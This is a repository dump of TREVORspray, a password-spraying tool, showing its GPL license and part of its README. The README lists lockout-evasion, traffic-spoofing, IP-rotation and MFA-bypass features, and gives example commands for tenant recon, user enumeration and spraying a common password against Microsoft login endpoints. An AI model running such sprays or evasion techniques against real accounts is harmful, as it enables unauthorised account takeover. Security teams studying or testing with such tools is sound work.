├── LICENSE ├── README.md ├── blogpost.md ├── poetry.lock ├── pyproject.toml ├── requirements.txt └── trevorspray ├── __init__.py ├── cli.py └── lib ├── discover.py ├── enumerators ├── __init__.py ├── onedrive.py └── seamless_sso.py ├── errors.py ├── logger.py ├── looters ├── base.py └── msol.py ├── proxy.py ├── sprayers ├── __init__.py ├── adfs.py ├── anyconnect.py ├── auth0.py ├── base.py ├── jumpcloud.py ├── msol.py ├── okta.py └── owa.py ├── trevor.py └── util ├── __init__.py ├── misc.py ├── ntlmdecoder.py └── threadpool.py /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # TREVORspray 2.0 2 | TREVORspray is a modular password sprayer with threading, SSH proxying, loot modules, and more! 3 | 4 | By [@thetechr0mancer](https://twitter.com/thetechr0mancer) 5 | 6 | [![License](https://img.shields.io/badge/license-GPLv3-blue.svg)](https://raw.githubusercontent.com/blacklanternsecurity/nmappalyzer/master/LICENSE) 7 | [![Python Version](https://img.shields.io/badge/python-3.6+-blue)](https://www.python.org) 8 | 9 | ## Installation: 10 | ~~~bash 11 | pip install git+https://github.com/blacklanternsecurity/trevorproxy 12 | pip install git+https://github.com/blacklanternsecurity/trevorspray 13 | ~~~ 14 | 15 | See the accompanying [**Blog Post**](blogpost.md) for a fun rant and some cool demos! 16 | 17 | ![trevorspray-demo](https://user-images.githubusercontent.com/20261699/149219712-8549e15c-2eee-4d7a-a615-e8882b693c3f.gif) 18 | 19 | ## Features 20 | - Threads, lots of threads 21 | - Multiple modules 22 | - `msol` (Office 365) 23 | - `adfs` (Active Directory Federation Services) 24 | - `owa` (Outlook Web App) 25 | - `okta` (Okta SSO) 26 | - `anyconnect` (Cisco VPN) 27 | - custom modules (easy to make!) 28 | - Tells you the status of each account: if it exists, is locked, has MFA enabled, etc. 29 | - Automatic cancel/resume (remembers already-tried user/pass combos in `~/.trevorspray/tried_logins.txt`) 30 | - Round-robin proxy through multiple IPs with `--ssh` or `--subnet` 31 | - Automatic infinite reconnect/retry if a proxy goes down (or if you lose internet) 32 | - Spoofs `User-Agent` and other signatures to look like legitimate auth traffic 33 | - Comprehensive logging 34 | - Optional `--delay`, `--jitter`, and `--lockout-delay` between requests to bypass lockout countermeasures 35 | - IPv6 support 36 | - O365 MFA bypass support (disable with `--no-loot`) 37 | - IMAP 38 | - SMTP 39 | - POP 40 | - EWS (Exchange Web Services) - Automatically retrieves GAL (Global Address Book) 41 | - EAS (Exchange ActiveSync) 42 | - Recommended bypass: BlueMail Android app 43 | - EXO (Exchange Online PowerShell) 44 | - UM (Exchange Unified Messaging) 45 | - AutoDiscover - Automatically retrieves OAB (Offline Address Book) 46 | - Azure Portal Access 47 | - Domain `--recon` with the following features: 48 | - list MX/TXT records 49 | - list O365 info 50 | - tenant ID 51 | - tenant name 52 | - other tentant domains 53 | - sharepoint URL 54 | - authentication urls, autodiscover, federation config, etc. 55 | - User enumeration (use `--recon` and `--users`): 56 | - `OneDrive` 57 | - `Azure Seamless SSO` 58 | 59 | ## How To - O365 60 | - First, get a list of emails for `corp.com` and perform a spray to see if the default configuration works. Usually it does. 61 | - If TREVORspray says the emails in your list don't exist, don't give up. Get the `token_endpoint` with `--recon corp.com`. The `token_endpoint` is the URL you'll be spraying against (with the `--url` option). 62 | - It may take some experimentation before you find the right combination of `token_endpoint` + email format. 63 | - For example, if you're attacking `corp.com`, it may not be as easy as spraying `corp.com`. You may find that Corp's parent company Evilcorp owns their Azure tenant, meaning that you need to spray against `evilcorp.com`'s `token_endpoint`. Also, you may find that `corp.com`'s internal domain `corp.local` is used instead of `corp.com`. 64 | - So in the end, instead of spraying `bob@corp.com` against `corp.com`'s `token_endpoint`, you're spraying `bob@corp.local` against `evilcorp.com`'s. 65 | 66 | ## Example: Perform recon against a domain (retrieves tenant info, autodiscover, mx records, etc.) 67 | ```bash 68 | trevorspray --recon evilcorp.com 69 | ... 70 | "token_endpoint": "https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token" 71 | ... 72 | ``` 73 | 74 | ## Example: Enumerate users via OneDrive (no failed logins) 75 | ```bash 76 | trevorspray --recon evilcorp.com -u emails.txt --threads 10 77 | ``` 78 | 79 | ![recon-user-enumeration](https://user-images.githubusercontent.com/20261699/151052308-d938bf6c-f335-4d3e-9c3c-1fd79a188e73.gif) 80 | 81 | ## Example: Spray against discovered "token_endpoint" URL 82 | ```bash 83 | trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token 84 | ``` 85 | 86 | ## Example: Spray with 5-second delay between requests 